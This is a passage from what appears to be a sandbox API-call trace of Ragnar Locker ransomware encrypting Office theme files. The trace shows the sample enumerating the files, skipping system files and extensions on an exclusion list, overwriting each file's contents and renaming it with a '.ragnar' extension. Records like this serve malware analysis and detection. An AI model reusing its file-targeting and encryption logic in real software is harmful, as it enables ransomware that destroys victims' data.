14\\Equity.thmx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\equity.thmx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.697] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x478ec700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x478ec700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xc278, dwReserved0=0x0, dwReserved1=0x0, cFileName="Essential.thmx", cAlternateFileName="ESSENT~1.THM")) returned 1 [0094.697] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x3c [0094.697] lstrcpyW (in: lpString1=0x1ec10a, lpString2="Essential.thmx" | out: lpString1="Essential.thmx") returned="Essential.thmx" [0094.697] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Essential.thmx") returned=".thmx" [0094.697] lstrcmpiW (lpString1="Essential.thmx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.697] lstrcmpiW (lpString1="Essential.thmx", lpString2="autorun.inf") returned 1 [0094.697] lstrcmpiW (lpString1="Essential.thmx", lpString2="boot.ini") returned 1 [0094.697] lstrcmpiW (lpString1="Essential.thmx", lpString2="bootfont.bin") returned 1 [0094.697] lstrcmpiW (lpString1="Essential.thmx", lpString2="bootsect.bak") returned 1 [0094.697] lstrcmpiW (lpString1="Essential.thmx", lpString2="bootmgr") returned 1 [0094.697] lstrcmpiW (lpString1="Essential.thmx", lpString2="bootmgr.efi") returned 1 [0094.697] lstrcmpiW (lpString1="Essential.thmx", lpString2="bootmgfw.efi") returned 1 [0094.697] lstrcmpiW (lpString1="Essential.thmx", lpString2="desktop.ini") returned 1 [0094.697] lstrcmpiW (lpString1="Essential.thmx", lpString2="iconcache.db") returned -1 [0094.697] lstrcmpiW (lpString1="Essential.thmx", lpString2="ntldr") returned -1 [0094.697] lstrcmpiW (lpString1="Essential.thmx", lpString2="ntuser.dat") returned -1 [0094.698] lstrcmpiW (lpString1="Essential.thmx", lpString2="ntuser.dat.log") returned -1 [0094.698] lstrcmpiW (lpString1="Essential.thmx", lpString2="ntuser.ini") returned -1 [0094.698] lstrcmpiW (lpString1="Essential.thmx", lpString2="thumbs.db") returned -1 [0094.698] lstrcmpiW (lpString1=".thmx", lpString2=".db") returned 1 [0094.698] lstrcmpiW (lpString1=".thmx", lpString2=".sys") returned 1 [0094.698] lstrcmpiW (lpString1=".thmx", lpString2=".dll") returned 1 [0094.698] lstrcmpiW (lpString1=".thmx", lpString2=".lnk") returned 1 [0094.698] lstrcmpiW (lpString1=".thmx", lpString2=".msi") returned 1 [0094.698] lstrcmpiW (lpString1=".thmx", lpString2=".drv") returned 1 [0094.698] lstrcmpiW (lpString1=".thmx", lpString2=".exe") returned 1 [0094.698] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Essential.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\essential.thmx")) returned 0x20 [0094.698] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Essential.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\essential.thmx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0094.698] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eba54 | out: lpFileSize=0x1eba54*=49784) returned 1 [0094.698] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0xc26f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.698] GetProcessHeap () returned 0x580000 [0094.698] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.698] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eba18, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eba18*=0x9, lpOverlapped=0x0) returned 1 [0094.700] VirtualAlloc (lpAddress=0x0, dwSize=0xc278, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.700] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.700] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba2c | out: lpNewFilePointer=0x0) returned 1 [0094.700] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xc278, lpNumberOfBytesRead=0x1eba0c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eba0c*=0xc278, lpOverlapped=0x0) returned 1 [0094.702] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba10 | out: lpNewFilePointer=0x0) returned 1 [0094.702] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc278, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.703] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xc278, lpNumberOfBytesWritten=0x1eba08, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eba08*=0xc278, lpOverlapped=0x0) returned 1 [0094.703] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc278, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.703] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.703] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0xc278, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.703] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.703] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0094.703] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0094.703] WriteFile (in: hFile=0x98, lpBuffer=0x1eba40*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x1eba40*, lpNumberOfBytesWritten=0x1eba3c*=0x9, lpOverlapped=0x0) returned 1 [0094.704] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.704] GetProcessHeap () returned 0x580000 [0094.704] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.704] CloseHandle (hObject=0x98) returned 1 [0094.704] lstrcpyW (in: lpString1=0x1eb5b8, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Essential.thmx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Essential.thmx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Essential.thmx" [0094.704] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Essential.thmx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Essential.thmx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Essential.thmx.ragnar_FD7BD9FC" [0094.704] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Essential.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\essential.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Essential.thmx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\essential.thmx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.705] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x773dcf00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ae6080, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x773dcf00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd748, dwReserved0=0x0, dwReserved1=0x0, cFileName="Executive.thmx", cAlternateFileName="EXECUT~1.THM")) returned 1 [0094.705] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x3c [0094.705] lstrcpyW (in: lpString1=0x1ec10a, lpString2="Executive.thmx" | out: lpString1="Executive.thmx") returned="Executive.thmx" [0094.705] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Executive.thmx") returned=".thmx" [0094.705] lstrcmpiW (lpString1="Executive.thmx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.705] lstrcmpiW (lpString1="Executive.thmx", lpString2="autorun.inf") returned 1 [0094.705] lstrcmpiW (lpString1="Executive.thmx", lpString2="boot.ini") returned 1 [0094.705] lstrcmpiW (lpString1="Executive.thmx", lpString2="bootfont.bin") returned 1 [0094.705] lstrcmpiW (lpString1="Executive.thmx", lpString2="bootsect.bak") returned 1 [0094.705] lstrcmpiW (lpString1="Executive.thmx", lpString2="bootmgr") returned 1 [0094.705] lstrcmpiW (lpString1="Executive.thmx", lpString2="bootmgr.efi") returned 1 [0094.705] lstrcmpiW (lpString1="Executive.thmx", lpString2="bootmgfw.efi") returned 1 [0094.705] lstrcmpiW (lpString1="Executive.thmx", lpString2="desktop.ini") returned 1 [0094.705] lstrcmpiW (lpString1="Executive.thmx", lpString2="iconcache.db") returned -1 [0094.705] lstrcmpiW (lpString1="Executive.thmx", lpString2="ntldr") returned -1 [0094.705] lstrcmpiW (lpString1="Executive.thmx", lpString2="ntuser.dat") returned -1 [0094.705] lstrcmpiW (lpString1="Executive.thmx", lpString2="ntuser.dat.log") returned -1 [0094.705] lstrcmpiW (lpString1="Executive.thmx", lpString2="ntuser.ini") returned -1 [0094.705] lstrcmpiW (lpString1="Executive.thmx", lpString2="thumbs.db") returned -1 [0094.705] lstrcmpiW (lpString1=".thmx", lpString2=".db") returned 1 [0094.705] lstrcmpiW (lpString1=".thmx", lpString2=".sys") returned 1 [0094.705] lstrcmpiW (lpString1=".thmx", lpString2=".dll") returned 1 [0094.705] lstrcmpiW (lpString1=".thmx", lpString2=".lnk") returned 1 [0094.705] lstrcmpiW (lpString1=".thmx", lpString2=".msi") returned 1 [0094.705] lstrcmpiW (lpString1=".thmx", lpString2=".drv") returned 1 [0094.705] lstrcmpiW (lpString1=".thmx", lpString2=".exe") returned 1 [0094.705] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Executive.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\executive.thmx")) returned 0x20 [0094.706] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Executive.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\executive.thmx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0094.706] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eba54 | out: lpFileSize=0x1eba54*=55112) returned 1 [0094.706] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0xd73f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.706] GetProcessHeap () returned 0x580000 [0094.706] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.706] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eba18, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eba18*=0x9, lpOverlapped=0x0) returned 1 [0094.707] VirtualAlloc (lpAddress=0x0, dwSize=0xd748, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.708] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.708] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba2c | out: lpNewFilePointer=0x0) returned 1 [0094.708] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xd748, lpNumberOfBytesRead=0x1eba0c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eba0c*=0xd748, lpOverlapped=0x0) returned 1 [0094.709] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba10 | out: lpNewFilePointer=0x0) returned 1 [0094.710] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd748, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.710] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xd748, lpNumberOfBytesWritten=0x1eba08, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eba08*=0xd748, lpOverlapped=0x0) returned 1 [0094.710] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd748, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.710] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.710] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0xd748, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.710] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.710] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0094.711] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0094.711] WriteFile (in: hFile=0x98, lpBuffer=0x1eba40*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x1eba40*, lpNumberOfBytesWritten=0x1eba3c*=0x9, lpOverlapped=0x0) returned 1 [0094.711] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.711] GetProcessHeap () returned 0x580000 [0094.711] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.711] CloseHandle (hObject=0x98) returned 1 [0094.711] lstrcpyW (in: lpString1=0x1eb5b8, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Executive.thmx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Executive.thmx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Executive.thmx" [0094.711] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Executive.thmx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Executive.thmx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Executive.thmx.ragnar_FD7BD9FC" [0094.711] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Executive.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\executive.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Executive.thmx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\executive.thmx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.712] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11e9de00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ae6080, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x11e9de00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x100a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flow.thmx", cAlternateFileName="FLOW~1.THM")) returned 1 [0094.712] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x3c [0094.712] lstrcpyW (in: lpString1=0x1ec10a, lpString2="Flow.thmx" | out: lpString1="Flow.thmx") returned="Flow.thmx" [0094.712] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Flow.thmx") returned=".thmx" [0094.712] lstrcmpiW (lpString1="Flow.thmx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.712] lstrcmpiW (lpString1="Flow.thmx", lpString2="autorun.inf") returned 1 [0094.712] lstrcmpiW (lpString1="Flow.thmx", lpString2="boot.ini") returned 1 [0094.712] lstrcmpiW (lpString1="Flow.thmx", lpString2="bootfont.bin") returned 1 [0094.712] lstrcmpiW (lpString1="Flow.thmx", lpString2="bootsect.bak") returned 1 [0094.712] lstrcmpiW (lpString1="Flow.thmx", lpString2="bootmgr") returned 1 [0094.712] lstrcmpiW (lpString1="Flow.thmx", lpString2="bootmgr.efi") returned 1 [0094.712] lstrcmpiW (lpString1="Flow.thmx", lpString2="bootmgfw.efi") returned 1 [0094.712] lstrcmpiW (lpString1="Flow.thmx", lpString2="desktop.ini") returned 1 [0094.712] lstrcmpiW (lpString1="Flow.thmx", lpString2="iconcache.db") returned -1 [0094.712] lstrcmpiW (lpString1="Flow.thmx", lpString2="ntldr") returned -1 [0094.712] lstrcmpiW (lpString1="Flow.thmx", lpString2="ntuser.dat") returned -1 [0094.712] lstrcmpiW (lpString1="Flow.thmx", lpString2="ntuser.dat.log") returned -1 [0094.712] lstrcmpiW (lpString1="Flow.thmx", lpString2="ntuser.ini") returned -1 [0094.712] lstrcmpiW (lpString1="Flow.thmx", lpString2="thumbs.db") returned -1 [0094.712] lstrcmpiW (lpString1=".thmx", lpString2=".db") returned 1 [0094.712] lstrcmpiW (lpString1=".thmx", lpString2=".sys") returned 1 [0094.712] lstrcmpiW (lpString1=".thmx", lpString2=".dll") returned 1 [0094.712] lstrcmpiW (lpString1=".thmx", lpString2=".lnk") returned 1 [0094.712] lstrcmpiW (lpString1=".thmx", lpString2=".msi") returned 1 [0094.712] lstrcmpiW (lpString1=".thmx", lpString2=".drv") returned 1 [0094.712] lstrcmpiW (lpString1=".thmx", lpString2=".exe") returned 1 [0094.712] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Flow.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\flow.thmx")) returned 0x20 [0094.712] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Flow.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\flow.thmx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0094.713] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eba54 | out: lpFileSize=0x1eba54*=65704) returned 1 [0094.713] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x1009f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.713] GetProcessHeap () returned 0x580000 [0094.713] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.713] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eba18, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eba18*=0x9, lpOverlapped=0x0) returned 1 [0094.714] VirtualAlloc (lpAddress=0x0, dwSize=0x100a8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.715] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.715] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba2c | out: lpNewFilePointer=0x0) returned 1 [0094.715] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x100a8, lpNumberOfBytesRead=0x1eba0c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eba0c*=0x100a8, lpOverlapped=0x0) returned 1 [0094.716] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba10 | out: lpNewFilePointer=0x0) returned 1 [0094.717] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x100a8, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.717] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x100a8, lpNumberOfBytesWritten=0x1eba08, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eba08*=0x100a8, lpOverlapped=0x0) returned 1 [0094.717] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x100a8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.717] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.717] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x100a8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.717] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.718] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0094.718] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0094.718] WriteFile (in: hFile=0x98, lpBuffer=0x1eba40*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x1eba40*, lpNumberOfBytesWritten=0x1eba3c*=0x9, lpOverlapped=0x0) returned 1 [0094.718] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.718] GetProcessHeap () returned 0x580000 [0094.718] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.718] CloseHandle (hObject=0x98) returned 1 [0094.718] lstrcpyW (in: lpString1=0x1eb5b8, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Flow.thmx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Flow.thmx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Flow.thmx" [0094.718] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Flow.thmx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Flow.thmx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Flow.thmx.ragnar_FD7BD9FC" [0094.718] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Flow.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\flow.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Flow.thmx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\flow.thmx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.721] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe565700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe565700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xf814, dwReserved0=0x0, dwReserved1=0x0, cFileName="Foundry.thmx", cAlternateFileName="FOUNDR~1.THM")) returned 1 [0094.721] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x3c [0094.721] lstrcpyW (in: lpString1=0x1ec10a, lpString2="Foundry.thmx" | out: lpString1="Foundry.thmx") returned="Foundry.thmx" [0094.721] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Foundry.thmx") returned=".thmx" [0094.721] lstrcmpiW (lpString1="Foundry.thmx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.721] lstrcmpiW (lpString1="Foundry.thmx", lpString2="autorun.inf") returned 1 [0094.721] lstrcmpiW (lpString1="Foundry.thmx", lpString2="boot.ini") returned 1 [0094.721] lstrcmpiW (lpString1="Foundry.thmx", lpString2="bootfont.bin") returned 1 [0094.721] lstrcmpiW (lpString1="Foundry.thmx", lpString2="bootsect.bak") returned 1 [0094.721] lstrcmpiW (lpString1="Foundry.thmx", lpString2="bootmgr") returned 1 [0094.721] lstrcmpiW (lpString1="Foundry.thmx", 